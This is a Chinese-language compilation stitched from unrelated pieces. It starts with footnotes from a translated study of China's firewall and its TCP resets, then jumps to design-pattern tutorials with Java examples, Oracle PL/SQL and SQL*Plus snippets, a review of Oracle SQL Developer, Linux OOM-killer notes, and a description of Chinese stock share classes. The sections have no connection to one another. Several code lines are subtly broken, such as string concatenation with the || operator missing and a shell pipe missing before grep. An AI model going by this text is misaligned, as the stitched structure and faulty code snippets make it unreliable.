2007年春另外一组研究者(Jedidiah R. Crandall和其他人的“ConceptDoppler”项目)[50]的一些实验也揭露了这个防火墙的工作细节,但复位机制是基本不变的。不过他们的测量表明复位现在开始发生在中国互联网的内部,不仅是边际路由器;且与我们一年前观察到的相比封锁在繁忙时段变得更加断断续续。他们的研究手段也让他们可以发表一份关于被过滤话题的统计列表。
注释
[1] OpenNet Initiative, “Internet Filtering in China in 2004–2005: A Country Study,” OpenNet Initiative, http://www.opennetinitiative.net/studies/china/ONI_China_Country_Study.pdf (accessed October 21, 2007).
[2] OpenNet Initiative, “Probing Chinese Search Engine Filtering,” OpenNet Initiative: Bulletin 005, http://www.opennetinitiative.net/bulletins/005/ (accessed October 15, 2007).
[3] Ronald J. Deibert and others, eds., Access Denied: The Practice and Policy of Global Internet Filtering (Cambridge: MIT Press, 2007).
[4] Nart Villeneuve, “Censorship is in the Router,” June 3, 2005, http://ice.citizenlab.org/?p=113 (accessed October 15, 2007).
[5] OpenNet Initiative, “Probing Chinese Search Engine Filtering.”
[6] RST标志置位的TCP报文。这种报文表明一方要求立即关闭当前连接不再传输。
[7] See Maximillian Dornseif, “Government Mandated Blocking of Foreign Web Content,” Security, E-Learning, E-Services: Proceedings of the 17 DFN-Arbeitstagung über Kommunikationsnetze, eds. Jan van Knop, Wilhelm Haverkamp, Eike Jessen, 617–646 (Dusseldorf, Germany: GI, 2004).
[8] Richard Clayton, “Failures in a Hybrid Content Blocking System,” in Privacy Enhancing Technologies: 5th International Workshop Cavtat, Croatia, May 30-June 1, 2005 (Berlin, Germany: Springer, 2006): 78–92.
[9] Richard Clayton, “Anonymity and Traceability in Cyberspace,” Technical Report (2005), http://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-653.pdf (for details of the complexity, see the extensive discussion in “Anonymity and Traceability in Cyberspace”) (accessed October 15, 2007).
[10] Benjamin Edelman, “Web Sites Sharing IP Addresses: Prevalence and Significance,” Berkman Center for Internet & Society, http://cyber.law.harvard.edu/people/edelman/ip-sharing (accessed October 15, 2007).
[11] Dornseif, “Government Mandated Blocking,” 626–27.
[12] Center for Democracy & Technology v. Pappert, 337 F. Supp. 2d 606 (E.D. Penn. 2004).
[13] King Abdulaziz City for Science and Technology: Local Content Filtering Procedure. Internet Services Unit (2004), http://www.isu.net.sa/saudi-internet/contenet-filtring/filtring-mechanism.htm (accessed October 15, 2007).
[14] OpenNet Initiative, “Internet Filtering in Burma in 2005: A Country Study,” OpenNet Initiative, http://www.opennetinitiative.net/burma/ONI_Burma_Country_Study.pdf (accessed October 15, 2007).
[15] Telenor, “Telenor and KRIPOS Introduce Internet Child Pornography Filter,” press release, September 21, 2004, http://presse.telenor.no/PR/200409/961319_5.html (accessed October 15, 2007).
[16] Dornseif, “Government Mandated Blocking,” 642-44; Clayton, “Failures in a Hybrid Content Blocking System,” 78–92.
[17] IDS可以将多种不规则的表现转化为标准形式,然后与封锁列表比对作出正确决策。
[18] 这种对称必须存在,因为防火墙需要同时封禁网络请求和回应。
[19] Villeneuve, “Censorship is in the Router.”
[20] SYN(同步)标志标明了打开TCP连接时的第一个报文。
[21] 这是对SYN报文的回应,其SYN和ACK(确认)置位,用“SYN/ACK”来表示在TCP连接打开过程中的第二个报文。
[22] 关于TCP的准确细节,和发起连接时交换SYN、SYN/ACK和ACK置位报文的方法原因,可以查阅很多好的网络通信教材,比如W. Richard Stevens, TCP/IP Illustrated, Volume 1, The Protocols (Reading, MA: Addison-Wesley, 1994)。
[23] 当我们启用TCP时间戳且报文包含12字节TCP附加选项的时候,这个值变成1448的倍数。
[24] TCP对所有数据报文用序列号进行标记,指示报文包含数据的顺序。当报文丢失、延迟或重复时,可以靠序列号来重建数据流。“窗口”是指在没有收到确认时最多可以发送的数据量。现在的互联网中,检查序列号落入窗口(复位报文序列号符合预期)是避免第三方干扰连接的重要安全措施。
[25] Paul A. Watson, “Slipping in the Window: TCP Reset Attacks,” Open Source Vulnerability Database, http://osvdb.org/reference/SlippingInTheWindow_v1.0.doc (accessed October 15, 2007).
[26] 存活时间(TTL)初始值由报文发送者确定,通过一个路由就减一。这是为了确保报文不在路由间无穷循环,当TTL为零时报文就被丢弃了。于是通过校验TTL值可以推算报文走过的距离。
[27] 如果复位在GET报文之前到达,则此复位报文不会被接受。服务器是FreeBSD系统,在连接的这个阶段,TCP栈接受的复位的序列号必须精确匹配上次发送的确认的值,以防止拒绝服务攻击。在GET报文到达前其值为+1,于是这时所有的复位都是无效的。
[28] SYN/ACK报文含有连接双方选定的序列号。
[29] AS指特定ISP拥有的骨干网络。我们采用的是CERNET的“China ASN List”,http://bgpview.6test.edu.cn/bgp-view/cur_ana/ipv4cn/china_asnlist.shtml。互联网路由器保存有优化路径列表,而“全球路由表”表达了特定AS对地址的所有权。
[30] See Jedidiah R. Crandall and others, “ConceptDoppler: A Weather Tracker for Internet Censorship” (14th ACM Conference on Computer and Communications Security, Alexandria, VA, October 29–November 2, 2007) http://www.cs.unm.edu/~crandall/concept_doppler_ccs07.pdf (accessed October 15, 2007).
[31] Earl Carter, Secure Intrusion Detection Systems (Indianapolis: Cisco Press, 2001).
[32] 即,检测报文内容的设备是在实际连接“旁边的”于是只能检测“坏”流量而不能对其有任何直接影响。
[33] 路由器一般都有根据特定标准进行报文过滤的功能。
[34] Yi Wang, Guohan Lu, and Xing Li, “A Study of Internet Packet Reordering,” Information Networking (Heidelberg, Germany: Springer-Berlin, 2004): 350–359.
[35] J. Postel, ed., “Transmission Control Protocol, DARPA Internet Program Protocol Specification” (memo, Network Working Group Request for Comments, September 1981) http://www.ietf.org/rfc/rfc793.txt (accessed October 21, 2007).
[36] S. Bellovin, memorandum, May 1996, in Network Working Group Request for Comments, “Defending Against Sequence Number Attacks,” http://www.ietf.org/rfc/rfc1948.txt (accessed October 15, 2007).
[37] ──译注,此节所述似已过时。在翻译完成的时候译者测试发现,继发封锁跟初始端口或者继发端口没有关系,所有端口的继发连接都被屏蔽。
[38] HTTP通信不仅在80端口(tcp/http)上被封锁,还有其他一些端口也受到影响。不过一个端口被封不影响其他邻近端口,比如80端口被封不影响433端口(tcp/https)。
[39] 见图1。
[40] See Clayton, “Anonymity and Traceability,” 81.
[41] 未来中国的防火墙还可能通过FIN报文来打断连接,然而忽略所有FIN报文则会导致不能正常连接,到那时TTL校验法会更好。
[42] Watson, “Slipping in the Window.”
[43] Robert N. M. Watson, “Patches Associated with My Academic Research,” http://www.cl.cam.ac.uk/~rnw24/patches (accessed October 15, 2007).
[44] Suzanne Goldenberg, “Congress Accuses Google of Collusion,” The Guardian, February 16, 2006, http://www.guardian.co.uk/china/story/0,,1710616,00.html (accessed October 15, 2007).
[45] SafeWeb, “TriangleBoy Whitepaper,” SafeWeb, 2003, http://web.archive.org/web/20030417171335/http://www.safeweb.com/tboy_whitepaper.html (accessed October 15, 2007).
[46] Psiphon, http://psiphon.civisec.org (accessed October 15, 2007).
[47] Stokely Baksh, “US Calls for Fall of Great Firewall,” United Press International, February 15, 2006; Kate Allen, “Today, Our Chance to Fight a New Hi-Tech Tyranny,” Observer, May 28, 2006; Cory Doctorow, “See No Evil?,” Guardian, July 6, 2007.opinion. 47
[48] “此法案是近年来孕育期最长的。导致此法案产生的斯科特报告是在五年半前的1996年2月发表的。保守党政府接受了此报告的提议并立即发出了资讯文书。工人党1997年的宣言坚定承诺要采取行动。于是1998年出了那本白皮书。不过之后政府就不闻不问于是,过了三年此法案才推出。”Hansard Parliamentary Debates, Commons, 6th ser., vol. 374 (2001), col. 457.
[49] 本文中描述的实验都是在2006年春进行的,本文的初始版发表在2006年6月的隐私增强技术研讨会上。
[50] ──译注:见http://www.conceptdoppler.org/。
定义:
提供一个创建一系列相关或者相互依赖对象的接口,而无需制定它们具体的类。抽象工厂(Abstract Factory)模式又成为Kit模式,属于对象创建型模式。
抽象工厂模式与工厂方法模式最大的区别在于:工厂方法模式针对的是一个产品等级结构,而抽象工厂模式则针对的是多个产品等级结构。正因为如此,在抽象工厂模式中经常会用到产品族(Product Family)这一概念,它指的是位于不同的产品等级结构中,并且功能相互关联的产品系列。
应用情景:
1,系统需要屏蔽有关对象如何创建,如何组织和如何表示。
2,系统需要由关联的对个对象来构成。
3,有关联的多个对象需要一起应用并且它们的约束是强迫的(不可分离)。
4,你想提供一组对象而不显示它们的实现过程,只显示它们的接口。
不来概念了,改天还需要理解的时间,直接上例子,来看一下简单的过程与函数的创建方法与如何执行。
(以SCOTT用户数据库为例)
1,过程
CREATE OR REPLACE
PROCEDURE insert_dept
(
no NUMBER,
name VARCHAR2)
IS
BEGIN
INSERT INTO dept
(deptno,dname
) VALUES
(no,name
);
END;
过程已创建
SQL>exec insert_dept(50,'SALES')
PL/SQL过程已成功完成。
2,函数
CREATE OR REPLACE
FUNCTION get_sal(no NUMBER)
RETURN NUMBER
IS
SALARY NUMBER(6,2);
BEGIN
SELECT sal INTO salary FROM emp WHERE empno = no;
RETURN salary;
END;
函数已创建
SQL>VAR salary NUMBER;
SQL>exec :salary:=get_sal(7566)
PL/SQL过程已成功完成。
SQL>PRINT salary
salary
----
2975
跟我学习设计模式之第二篇:工厂方法模式开篇了。下面我们来看看其定义:
工厂方法模式又称工厂模式,也叫虚拟构造器(Virtual Constructor)模式或者多态工厂(Polymorphic Factory)模式,属于类的创建型模式。在工厂方法模式中,父类负责定义创建对象的公共接口,而子类则负责生成具体的对象,这样做的目的是将类的实例化操作延迟到子类中完成,即由子类来决定究竟应该实例化(创建)哪一个类。
下面以一个JAVA实例应用来看了解一下具体需求:
现实中不同品牌的手机应由不同的工厂制造,下面应用工厂模式来解决这个问题。
手机接口:
public interface Mobile {
public void call();
}
手机工厂接口:
public interface MobileFactory {
public Mobile productMobile();
}
摩托罗拉手机实现手机接口:
public class Motorola implements Mobile {
public void call() {
System.out.println("MOTOROLA モベイル");
}
}
诺基亚手机实现手机接口:
public class Nokia implements Mobile {
public void call() {
System.out.println("Nokia モベイル");
}
}
摩托罗拉工厂实现了生产手机的方法,返回摩托罗拉手机:
public class MotorolaFactory implements MobileFactory {
@Override
public Mobile productMobile() {
// TODO 自動生成されたメソッド・スタブ
System.out.print("Motorola工場で製造した");
return new Motorola();
}
}
诺基亚工厂实现了生产手机的方法,返回诺基亚手机:
public class NokiaFactory implements MobileFactory {
@Override
public Mobile productMobile() {
// TODO 自動生成されたメソッド・スタブ
System.out.print("Nokia工場で製造した");
return new Nokia();
}
}
客户程序:
public class Client {
/**
* @param args
*/
public static void main(String[] args) {
// TODO 自動生成されたメソッド・スタブ
MobileFactory mf;
Mobile m;
mf = new MotorolaFactory();
m = mf.productMobile();
m.call();
mf = new NokiaFactory();
m = mf.productMobile();
m.call();
}
}
输出:
Motorola工場で製造したMOTOROLA モベイル
Nokia工場で製造したNokia モベイル
下面的情景很适合应用工厂方法模式:
1,类不知道自己要创建哪一个对象;
2,类用它的子类来制定创建哪个对象;
3,客户需要清楚创建了哪一个对象。
对设计模式的理解和应用能力,是区分一个程序员和一个软件工程师的重要特征。从今天开始,我将花费一些时间和精力,用在设计模式的学习和实践上。
今天,首先解决三个问题:
第一,什么是设计模式?
第二,设计模式的作用?
第三,设计模式的分类?
按照顺序依次解决这三个问题,就算完成开篇的内容。
第一,什么是设计模式?
模式的定义:模式是一种问题的解决思路,它已经试用于一个实践环境,并且可以适用于其他环境。
如果觉得抽象,举几个例子马上就可以理解了:用牛耕田,织网捕鱼,打井取水……,所有这些都是前人创造的生活模式,我们大家不自觉的把它们应用在生活的方方面面。
同理,程序设计,也有一些前人的设计思路可供我们直接使用,这就是设计模式。
第二,设计模式的作用?
1,重用设计,比重用代码更有意义,它会自动带来代码重用。
2,为设计提供共同词汇,模式名就是设计词汇,方便交流。
3,开发文档中采用模式词汇让阅读者更容易理解。
4,可以使得重构系统变得容易。确保代码正确,降低设计和实现中出现错误的可能性,为从写其它应用程序提供很好的系统架构。
5,正确使用设计模式,可以节省大量时间。
第三,设计模式的分类?
设计模式种类很多,包括分布式编程模式,用户界面模式,数据模式模式三大类。目前流行的面向对象设计模式,仅1995年“Gang of Four”(四位作者:Erich Gamma,Richard Helm,Ralph Johnson,John Vlissides)描述的就有二十多种,称之为GoF模式,与其相对应的另一种重要的设计模式是通用责任分配软件系列模式(GRASP,General Responsibility Assignment Software Patterns)。
1,GRASP模式的分类:
与其说它是面向对象的设计模式,不如说它是面向对象的设计要求,细分为9种模式。模式之间不是独立的,存在相互平衡的制约关系,所以我们的设计只能努力的满足GRASP的各种模式。
1)Information Expert(信息专家)
2)Creator(创造者)
3)Low coupling(低耦合)
4)High cohesion)(高内聚)
5)Controller(控制器)
6)Polymorphism(多态)
7)Pure Fabrication(纯虚构)
8)Indirection(间接)
9)Protected Variations(受保护变化)
2,GoF模式的分类:
◆根据目的准则分类:
就是说,指定的模式用来完成什么工作。可分三种:
1)Creational(创建型):与对象创建有关
2)Structural(结构型):处理类或对象的组合
3)Behavioral(行为型):描述类或对象如何交互及如何分配职责。
◆根据范围准则分类:
即指定的模式是用于类还是用于对象,分为两种:
1)类模式:编译时就定下来了。
2)对象模式:处理对象间关系,这些关系具有动态性,在运行期间是可以变化的。
范围/目的:Creational(创建型): Creational(创建型): Behavioral(行为型)
类:Simple Factory:Adpter(class):Interpreter
:Factory Method: :Template method
对象:Abstract Facotry:Adapter(object):Chain of Responsibility
:Builder :Bridge :Command
:Prototype :Composite :Iterator
:Singleton :Decorator :Mediator
: :Facade :Memento
: :Flyweight :Observer
: :Proxy :State
: : :Strategy
: : :Visitor
之前作为一个Oracle Employee,却总是在使用PL/SQL Developer(而且是破解版),这实在有些说不过去,但是如何找到一个合心趁手的能够在有条件的情况下比SQL*PLUS更方便的工具却实在不是一件简单的事情,以前期待tora被Quest收购以后会有长足发展,可惜,并没有看到最终的结果。
之前曾经说过,PL/SQL Developer对于我最难以割舍的是code insight功能,当你记不住表、性能视图或者存储过程、函数的全名,PL/SQL Developer将会在你输入了几个字母之后自动提示。TOAD发展了那么多年,却一直没有提供相类似的功能。
但是现在完全免费的替代产品出现了,这就是Oracle SQL Developer,Oracle官方出品的开发工具,当然这个工具并不是今年才推出的,现在最新版本已经是1.5.1.54.40,但是,最早的1.0版本并不是那么好用,而现在,我可以郑重地推荐它了。
请注意,这个工具是完全免费的,可以通过这个链接下载。
以一个普通使用者(甚至说是一个并不是着重在开发上的数据库管理员)的身份比较一下Oracle SQL Developer和PL/SQL Developer。
1. 格式化的结果输出。
这一点任何一个第三方工具都做得不错,是一个基本功能。
2. 自动提示。
也就是上面提到的Code Insight功能,可以说,Oracle SQL Developer拥有的功能以及速度绝对不亚于PL/SQL Developer,甚至有更人性化的表现。比如当你键入select * from,空格之后,Oracle SQL Developer会立刻给出一个当前用户下的所有Table的列表,如果继续键入比如DBA三个字母,那么列表将转换为DBA打头的所有数据字典。而如果你从一行的开头键入exec四个字母,那么当回车以后,Oracle SQL Developer会立刻给出一份所有可以执行的存储过程的列表。
3. 代码美化功能。
所有使用过PL/SQL Developer的朋友们应该都知道在最近这几版中都有一个PL/SQL Beautifier的功能,可以将一大串SQL语句格式化更容易阅读的样式。同样Oracle SQL Developer也提供了这样的功能,称之为Format,快捷键是Ctrl+F7。
4. 显示SQL的执行计划。
在Oracle SQL Developer中快捷键是F6,同时也提供了显示Autotrace的结果,快捷键是F10(最新版本中似乎有点儿小bug,有时候需要按两次F10才能显示)
5. 会话监控。
在PL/SQL Developer中我们可以显示当前数据库中的所有会话,点击某一个会话,在下方会显示该会话正在执行的SQL,正在经历的等待事件以及其它一些可以自定义的感兴趣的信息,Oracle SQL Developer同样提供了这个功能,可以在Tools -> Monitor Sessions菜单中找到它。
6. 快捷显示对象信息。
比如写了一条SQL语句,其中牵涉到一张表,我们可能会想立刻看到这张表有哪些字段,这张表上有哪些约束哪些索引,如果是分区表有哪些分区,在 PL/SQL Developer中我们会选中SQL语句中这张表的名字,然后右键 -> View,同样Oracle SQL Developer也提供了这个功能,同样可以鼠标右键选中表名 -> Popup Describe,另外还有快捷键Shift+F4。
7. 编写以及调试存储过程。
我并不有太多的机会去编写一个很长的存储过程,因此这点我不敢对PL/SQL Developer和Oracle SQL Developer做过多的比较,但是我知道好几个版本的PL/SQL Developer(包括最新版)在编译存储过程的某些特定语句的时候会导致ORA-600错误,而在SQL*Plus里面直接编译则完全没有问题,很多客户出现了这个问题寻求我们的帮助,而我们的回答是,抱歉,这是PL/SQL Developer的问题我们不做技术支持,但是如果你要是改用了Oracle SQL Developer呢?恭喜你,虽然这是个免费的产品,但是仍然可以得到原厂商的技术支持。
好吧,具有了上述这些功能,至少对于我来说,Oracle SQL Developer已经完全具备了日常管理数据库的所有需要点,而且用起来一点儿也不觉得别扭,只是可能快捷键的改变需要适应一下。比如在PL/SQL Developer中执行一个SQL是F8,而Oracle SQL Developer则是F9,显示执行计划一个是F5而另外一个是F6,但是这都是小问题,不是吗?要知道人生总是在不断变化的,呵呵。
接下来是Oracle SQL Developer的闪光点,这些闪光点会让Oracle SQL Developer更加可爱。
1. 自动更新。
Help -> Check for updates,将会自动将Oracle SQL Developer更新到最新的版本,包括多种插件。
2. 插件。
这是多么令人兴奋的功能,要知道,在浏览器领域的Firefox,在Java开发工具领域的Eclipse,都是因为支持插件(或者称之为扩展)体系,并且有大量丰富的插件才成为了焕然一新的工具,噢,我知道PL/SQL Developer也是支持Plugins的,但是这么多年了,Plugins始终只有那几个。而Oracle SQL Developer才推出多久,我们已经可以看到像Fourth Elephant的Insider这样强大的扩展了,Insider一眼看上去简直就是一个Quest Spotlight for Oracle,虽然我对这个插件不是那么感兴趣,但是你得承认它确实很强大。
3. 跨平台。
PL/SQL Developer只能在Windows上使用,而Oracle SQL Developer目前已经支持了Windows,Mac OS X,Linux,这得益于Java的跨平台特性,好吧,我承认Java用于桌面应用确实速度有些让人不满意,但是对于Oracle SQL Developer来说,仅仅是启动速度有些慢而已,实际使用中仍然是行云流水的。
4. Reports。
一个新安装的Oracle SQL Developer就已经包含了一个Reports标签页,内置了一部分可以用于数据库管理的脚本,并且可以允许使用者自定义自己需要日常使用的脚本,而且支持复杂的父子视图效果,就是类似于Session Viewer的效果,点击父结果中的某一行,能够将更详细的关联信息显示在子结果中。每个DBA都有自己积累的一套SQL,你可以将它们全部放在 Oracle SQL Developer中。
5. 多连接。
在同一个Oracle SQL Developer界面里,可以连接多个数据库实例,虽然这不是什么复杂的功能,但是,PL/SQL Developer却做不到。
6. tkprof直观显示。
用Oracle SQL Developer直接打开一个trc文件,将会出现一个图形化的界面,并且包含了几乎所有的tkprof功能,比如可以按照某个指标进行排序。
7. 免费。
有什么东西比免费更吸引人呢?曾经在itpub上做过一个投票调查,目前使用PL/SQL Developer的Oracle DBA或者开发人员占据了超过60%,而其中绝大部分都在使用破解版。改为Oracle SQL Developer吧,你不用再去辛辛苦苦找最新的破解,你也可以自豪地说我现在用的开发工具是Free的,是正版的。
好吧,我承认Oracle SQL Developer是一个新产品,在很多小功能上确实还没有像PL/SQL Developer那样丰富。比如说也许我们需要一个command window,一个类似于SQL*Plus的界面,可以输入诸如archive log list或者show sga这样的命令,也可以仅仅输入edit 表名就可以弹出更改表结构的界面,输入edit 存储过程名就可以弹出编辑存储过程的界面;也许我们需要一个text import工具,可以方便地通过图形化界面将一个csv文件中的记录插入到一个表中;也许我们需要一个data gernerater工具可以方便地生成测试数据。
但是,这些都是小事儿,没有也就没有吧。另外,请相信Oracle的研发实力,短短的一年时间,Oracle SQL Developer已经开始引人瞩目了,而且Oracle一直在大力地研发这个工具在频繁地发布新版本,所以也许不久的将来这个工具将更好更强大。在这里可以看到大量使用者提出的Feature Request,很多已经被接收,将会出现在下一个版本中。
这篇文章不是一个正规的Oracle SQL Developer的产品功能或者说使用介绍,这仅仅是因为我作为一个普通的Oracle数据库顾问发现了一个免费的好用的工具(只不过恰巧这个工具是 Oracle推出的而已)而感到欣喜之后的随意而为的文章,我很期待与已经在使用Oracle SQL Developer和看到这篇文章转而使用它的各位做更多的经验交流。
用一个使用者的感想做结,这个感想在Oracle SQL Developer的主页上也可以找到。
We’ve given up all of our licenses for other tools. We simply don’t need them anymore. Oracle SQL Developer does it all for us. We’ve saved a lot of money because it’s free. It’s also given our development staff a standard tool and they love it. It’s made training and support easier.
★ ora_client_ip_address: 用于返回客户端的IP地址
★ ora_database_name:用于返回当前数据库名
★ ora_des_encrypted_password:用于返回DES加密后的用户口令
★ ora_dict_obj_name:用于返回DDL操作所对应的数据库对象名
★ ora_dict_obj_name_list(name_list OUT ora_name_list_t):用于返回在事件中被修改的对象名列表
★ ora_dict_obj_owner:用于返回DDL操作所对应的对象的所有者名
★ ora_dict_obj_owner_list(owner_list OUT ora_name_list_t):用于返回在事件中被修改对像的所有者列表
★ ora_dic_obj_type:用于返回DDL操作所对应的数据对象的类型
★ ora_grantee(user_list OUT ora_name_list_t):用于返回授权事件的授权者
★ ora_instance_num:用于返回例程号
★ ora_is_alter_column(column_name IN VARCHAR2):用于检没特定列是否被修改
★ ora_is_creating_nested_table:用于检测是否正在建立嵌套表
★ ora_is_drop_column(column_name IN VARCHAR2):用于检测特定列是否被删除
★ ora_is_servererror(error_number):用于检测是否返回了特定Oracle错误
★ ora_login_user:用于返回登录用户名
★ ora_sysevent:用于返回触发器的系统事件名
1,在SQL语句中,想得到和Linux下一样的命令行效果,前面加!
比如,在Linux下查看当前目录下的所有文件按照时间排序,可以使用
$ ls -ltr
在SQL命令行下,则可以使用如下语句:
SQL> !ls -ltr
2,查看Oracle进程
SQL>!ps -aef| grep ora
3,可以使用TOP命令
SQL>!top
4,使用ipcs命令
SQL>!ipcs -a
这次学习Oracle的批量绑定的概念。
批量绑定是从Oracle9i开始新增加的特性,通过批量绑定,可以极大的加快数据处理速度。提高应用程序的性能。
先建立DEMO表。
CREATE TABLE demo(
id NUMBER(6) PRIMARY KEY,
name VARCHAR2(10)
);
下面以不使用批量绑定和使用批量绑定为例来比较两种方法插入数据的速度。
1,不使用批量绑定
在9i之前,当使用VALUES子句插入数据的时候,每次只能插入一条数据,如果要插入5000条数据,就需要调用5000次INSERT语句。使用循环插入数据。
DECLARE
TYPE id_table_type IS TABLE OF NUMBER(6)
INDEX BY BINARY_INTEGER;
TYPE name_table_type IS TABLE OF VARCHAR2(10)
INDEX BY BINARY_INTEGER;
id_table id_table_type;
name_table name_table_type;
start_time NUMBER(10);
end_time NUMBER(10);
BEGIN
FOR i IN 1..5000 LOOP
id_table(i):=i;
name_table(i):='Name'to_char(i);
END LOOP;
start_time:=dbms_utility.get_time;
FOR i IN 1..id_table.COUNT LOOP
INSERT INTO demo VALUES(id_table(i),name_table(i));
END LOOP;
end_time:=dbms_utility.get_time;
dbms_output.put_line('总计时间(秒):'
to_char((end_time-start_time)/100));
END;
/
总计时间(秒):6.41
2,使用批量绑定
在Oracle9i开始,当使用VALUES子句为数据库表插入数据时,通过批量绑定特征,只需要执行一条INSERT一句就可以插入5000行数据。
DECLARE
TYPE id_table_type IS TABLE OF NUMBER(6)
INDEX BY BINARY_INTEGER;
TYPE name_table_type IS TABLE OF VARCHAR2(10)
INDEX BY BINARY_INTEGER;
id_table id_table_type;
name_table name_table_type;
start_time NUMBER(10);
end_time NUMBER(10);
BEGIN
FOR i IN 1..5000 LOOP
id_table(i):=i;
name_table(i):='Name'to_char(i);
END LOOP;
start_time:=dbms_utility.get_time;
FORALL i IN 1..id_table.COUNT
INSERT INTO demo VALUES(id_table(i),name_table(i));
end_time:=dbms_utility.get_time;
dbms_output.put_line('总计时间(秒):'
to_char((end_time-start_time)/100));
END;
/
总计时间(秒):.33
看看执行的速度结果,结论自然就出来了。
Rank函数是Oracle分析函数一种,今天来学习一个最简单的应用,作为入门。
stud_grade表,数据如下:
ID NAME GRADE
---------- ---------- ----------
1001 a1 78
1002 a2 80
1003 a3 90
1004 a4 80
1005 a5 70
1006 a6 80
1007 a7 87
1008 a8 85
1009 a9 85
1010 a10 85
查询后希望得到的结果排名如下:
no NAME GRADE
---------- ---------- ----------
1 a3 90
2 a7 87
3 a10 85
3 a8 85
3 a9 85
6 a6 80
6 a4 80
使用的rank函数如下:
select rank() over (order by grade desc ) id,name,grade from stud_grade;
用SCOTT用户创建了一个表,然后删除。却怎么也删不掉,提示的信息如下:
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01422: exact fetch returns more than requested number of rows
怎么也不知道原因为什么,想问别人,估计没有经历过的也不知道。只好上网查,关键字就按照错误号搜索,结果查出来原因了——就是因为以前对DUAL表进行了一些操作造成的。
DUAL是一个很特殊的表,一般来说返回一行记录,为了测试这个,我当初往DUAL表里面又塞了两条数据,当时来看没有什么不妥,况且查询照样返回一条记录。
但是今天出现的TABLE无法删除的原因,就是跟这个有关,我把插入的两条记录在DUAL表下删除了,结果发现就可以DROP TABLE了。
看来以后对DUAL的操作要小心点,不然很容易出现问题。
SQL> create profile one_session limit sessions_per_user 1 ;
Profile created.
SQL> alter user scott profile one_session;
User altered.
SQL> alter system set resource_limit=true;
System altered.
SQL> connect scott/tiger
Connected.
SQL> host sqlplus scott/tiger
SQL*Plus: Release 10.2.0.1.0 - Production on Sat Jul 5 15:02:21 2008
Copyright (c) 1982, 2005, Oracle. All rights reserved.
ERROR:
ORA-02391: exceeded simultaneous SESSIONS_PER_USER limit
Enter user-name:
1,查询当前目录下的文件名为gaoyu.sql的文件:
find . -name "gaoyu.sql" -print
2,查询/etc下文件名为passwd开头的文件:
find /etc -name "passwd*“ -print
同事在 Linux 服务器上遇到点小问题,我也上去折腾半天。这还是第一次注意到 Linux 这个多年来就存在的特性:OOM Killer 。说白了 OOM Killer 就是一层保护机制,用于避免 Linux 在内存不足的时候不至于出太严重的问题,把无关紧要的进程杀掉,有些壮士断腕的意思。
先要学习点老知识,在 32 位CPU 架构下寻址是有限制的。Linux 内核定义了三个区域:
# DMA: 0x00000000 - 0x00999999 (0 - 16 MB)
# LowMem: 0x01000000 - 0x037999999 (16 - 896 MB) - size: 880MB
# HighMem: 0x038000000 - <硬件特定>
LowMem 区 (也叫 NORMAL ZONE ) 一共 880 MB,而且不能改变(除非用 hugemem 内核)。对于高负载的系统,就可能因为 LowMem 利用不好而引发 OOM Killer 。一个可能原因是 LowFree 太少了,另外一个原因是 LowMem 里都是碎片,请求不到连续的内存区域【根据我遇到的一个案例,一个猜想是 有些应用一次性请求比较大的内存,恰恰又是 880M 之内的,空闲的(LowFree)不够大,就会触发 OOM Killer 出来干活】。
检查当前 LowFree 的值:
# cat /proc/meminfo grep LowFree
检查LowMem内存碎片:
# cat /proc/buddyinfo
上面这条命令要在 2.6 Kernel 环境下有效。据说使用 SysRq 的方式更好,不过 Hang 的时候再用吧。参见 Metalink Note:228203.1 。
根据一些文档描述,OOM Killer 在 2.4 与 2.6 上表现是不一样的。2.4 的版本中是把新进来(新申请内存)的进程杀掉。而 2.6 上是杀掉占用内存最厉害的进程(这是很危险的,很容易导致系统应用瘫痪)。
对于 RHEL 4 ,新增了一个参数: vm.lower_zone_protection 。这个参数默认的单位为 MB,默认 0 的时候,LowMem 为 16MB。建议设置 vm.lower_zone_protection = 200 甚至更大以避免 LowMem 区域的碎片,是绝对能解决这个问题的(这参数就是解决这个问题出来的)。
而对于 RHEL 3 (Kernel 2.4) 似乎没什么好办法,一个是用 Hugemem 内核(天知道会不会引入新的毛病),一个是升级到 2.4.21-47 并且使用新的核心参数 vm.vm-defragment 控制碎片的数量。再就是使用 RHEL 4 (Kernel 2.6),这又绕回去了。说白了,如果遇到 OOM Killer ,基本上是低版本 Kernel 设计上有点缺陷。
其它,如果去查询 RedHat 的 Bug 库,会发现不少 Kernel 版本也有 Bug 的。尤其在使用 NFS 的场景。
Tip: OOM Killer 的关闭与激活方式:
# echo "0" > /proc/sys/vm/oom-kill
# echo "1" > /proc/sys/vm/oom-kill
更多参考信息:
1) OOM killer "Out of Memory: Killed process" SOLUTIONS / SUMMARY【对我遇到的案例没鸟用】
2) Metalink Notes : Linux Kernel Lowmem Pressure Issues and Kernel Structures
Respite from the OOM killer
SQL语言是学习任何一门关系型数据库的必备前提。
SQL语言分类:
1,DDL(数据定义语言)
◆CREATE
◆ALTER
◆DROP
2,DCL(数据控制语言)
◆GRANT
◆REVOKE
3,DML(数据操作语言)
◆SELECT
◆INSERT
◆DELETE
◆UPDATE
4,TCL(事务控制语言)
◆COMMIT
◆SAVEPOINT
◆ROLLBACK
csh里用$0得到脚本名字
basename是去除目录剩下的名字。
$ basename /home/gsm/adcfilter/11Nov/ctgen/run/CTgen.cmd
CTgen.cmd
A股,B股,H股是按英文字母作为代称的股票分类。A股是以人民币计价,面对中国公民发行且在境内上市的股票;B股是以美元港元计价,面向境外投资者发行,但在中国境内上市的股票;H股是以港元计价在香港发行并上市的境内企业的股票。此外,中国企业在美国、新加坡、日本等地上市的股票,分别称为N股、S股和T股。由于A股、B股及H股的计价和发行对象不同,国内投资者显然不具备炒作B股、H股的条件。另外,值得一提的是,沪市挂牌B股以美元计价,而深市B股以港元计价,故两市股价差异较大,如果将美元、港元以人民币进行换算,便知两地股价大体一致。以字母代称进行股票分类,不甚规范,根据中国证监会要求,股票简称必须统一、规范。可以相信,随着我国股市的进一步发展,A股、B股、H股等称谓将成为历史。
